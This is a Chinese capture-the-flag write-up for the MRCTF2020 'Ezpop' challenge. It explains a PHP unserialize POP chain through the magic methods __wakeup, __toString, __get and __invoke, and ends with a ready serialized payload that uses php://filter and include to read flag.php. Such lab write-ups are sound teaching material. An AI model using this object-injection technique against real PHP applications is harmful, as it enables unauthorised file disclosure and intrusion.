首页 > 其他分享 >[MRCTF2020]Ezpop(反序列化)

[MRCTF2020]Ezpop(反序列化)

时间:2024-07-18 11:51:07浏览次数:10  
标签:__ function php Show source Ezpop 序列化 public MRCTF2020

打开题目即可得源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

涉及的魔术方法如下

__construct(类一执行就开始调用,其作用是拿来初始化一些值。)
__toString(在对象当做字符串的时候会被调用。)
__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)
__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

我们先找一下哪个地方能帮助我们拿到flag

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

1.很明显这个Modifier中的include可以利用伪协议把flag.php包含出来

2.我们要调用Modifier中的include就要触发__invoke()

在class Test
可以利用_get()
$function = $this->p;使其中的
p=new Modifier();
这样就成功触发了
class Modifier中的
__invoke()

3.继续想办法触发_get()(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

在class Show
我们可以让__toString()方法中的
str=new Test()
这样它就调用了Test中不存在的source,成功触发_get

4.接下来考虑如何触发__toString()(在对象当做字符串的时候会被调用。)

这里就很明显了我们可以利用 Show中的__wakeup()中的
preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)
我们把source=new show();
即是把对象当成了字符串来进行了正则匹配

把我们的思路反过来就是一个完整的pop链

class Modifier {
    protected  $var="php://filter/convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo serialize($a);

image
因是私有属性而产生的特殊符号换为%00

?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

标签:__,function,php,Show,source,Ezpop,序列化,public,MRCTF2020
From: https://www.cnblogs.com/dghh/p/18309217

相关文章

  • [MRCTF2020]套娃 1
    目录第一层$_SERVER函数的用法第二层第三层第一层查看源码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!......
  • Python文件与数据处理:掌握I/O操作与序列化的艺术
    在Python编程的世界里,文件操作和数据序列化犹如画家手中的画笔和调色板,是构建强大应用程序不可或缺的工具。本文将深入探讨open()函数的巧妙使用、JSON和pickle模块的序列化魔法,以及os模块在文件系统操作中的关键角色。让我们一同揭开Python文件与数据处理的神秘面纱,掌握I/O操......
  • Netcode for Entities如何添加自定义序列化,让GhostField支持任意类型?以int3为例(1.2.3
    一句话省流:很麻烦也很抽象,能用内置支持的类型就尽量用。首先看文档。官方文档里一开头就列出了所有内置的支持的类型:GhostTypeTemplates其中Entity类型需要特别注意一下:在同步这个类型的时候,如果是刚刚Instantiate的Ghost(也就是GhostId尚未生效,上一篇文章里说过这个问题),那么客......
  • 木舟0基础学习Java的第十九天(装饰设计模式,转换流,对象操作流(序列化),Properties集合)
    装饰设计模式创建一个接口用一个类实现接口再创建一个类实现这个接口第二个类中包含第一个类中的方法和自己的方法还可以增强案例:publicinterfaceCar{publicvoidrun();publicvoidcarry();}publicclassTaxiimplementsCar{@Overridepub......
  • Java中的序列化与反序列化
    序列化与反序列化的定义序列化(Serialization)与反序列化(Deserialization)是编程中常见的两个概念,它们主要涉及到将数据结构或对象状态转换为可以存储或传输的格式,以及将存储或传输的格式转换回原始的数据结构或对象状态的过程。这两个过程在数据持久化、网络通信、对象深拷......
  • [MRCTF2020]Ezaudit 1
    信息收集,伪随机数打开之后发现什么按键都没用,直接扫目录得到了两个网址:www.ziplogin.html<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);if(isset($_POST['login'])){$username=$_POST['username'];$password=$_POST[&......
  • Java中的序列化与反序列化
    Java中的序列化与反序列化大家好,我是微赚淘客系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!序列化与反序列化概述在Java中,序列化是将对象转换为字节流的过程,可以将对象持久化保存到文件、数据库或网络传输中。反序列化则是将字节流恢复为对象的过程。Java中的序列化与反......
  • Shiro550反序列化漏洞分析
    shiro搭建教程可以在网上自行搜索漏洞发现进入shiro界面后,burp抓包,选择rememberme并进行登录。观察burp抓到的包登录之后服务器返回一个CookieRememberme之后用户的访问都带着这个Cookie这个Cookie很长,可能会在里面存在一定的信息源码审计接下来去shiro源码中,看......
  • Java中的反序列化详解
    Java中的反序列化详解大家好,我是微赚淘客系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!1.什么是反序列化?反序列化是将对象的字节序列转换回对象的过程。在Java中,对象序列化是将对象转换为字节序列以便存储或传输,而反序列化则是将这些字节序列重新转换为对象。2.Java中......
  • ROME 反序列化
    ROME反序列化rome是什么ROME是主要用于解析RSS和Atom种子的一个Java框架。ROME是一个可以兼容多种格式的feeds解析器,可以从一种格式转换成另一种格式,也可返回指定格式或Java对象。ROME兼容了RSS(0.90,0.91,0.92,0.93,0.94,1.0,2.0),Atom0.3以及Atom1.0fe......